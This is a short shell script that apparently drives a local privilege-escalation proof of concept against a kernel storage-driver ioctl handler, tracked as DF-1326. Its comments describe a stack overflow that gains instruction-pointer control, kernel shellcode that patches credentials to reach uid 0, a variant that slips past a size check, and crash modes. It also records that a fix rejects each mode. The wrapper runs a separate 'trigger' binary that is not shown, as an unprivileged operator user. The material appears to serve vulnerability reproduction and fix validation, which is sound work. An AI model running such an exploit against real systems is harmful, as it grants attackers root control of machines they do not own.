#!/bin/sh
# DF-1326 pass-3: drive the REAL production mpr ioctl handler as an
# unprivileged operator-group user (uid=2 gid=5).
#
#   probe    -> saved RIP = user-page kernel shellcode -> cred patch ->
#               swapgs+iretq -> userspace continuation with uid=0
#               (SUCCESS: "DF1326_ROOT: uid=0" + root `id`)
#   evaded   -> same, with RequestSize=96 which the post-hoc check at
#               mpr_user.c:804 ACCEPTS (copyin at :800 already smashed)
#   rip      -> saved RIP = 0x4142434445464748 -> Fatal trap 9 at
#               mpr_user_pass_thru+0x6fe: ret  (guest dies; this is the
#               deterministic RIP-control proof)
#   smash    -> RequestSize=4096 spray -> Fatal trap 9, frame pointer =
#               0x4546474841424344 (guest dies)
#   dump     -> print/disassemble the shellcode, no ioctl (safe)
#
# On a kernel carrying fix.diff: probe/rip/smash return EINVAL (bounds
# check now precedes the copyin) and evaded returns ENOMEM (12-byte
# copyin, proceeds to the command-less softc) -- the ioctl RETURNS,
# the guest stays healthy, no escalation.
set -e
cd "$(dirname "$0")"
su operator -c "$PWD/trigger ${1:-probe}"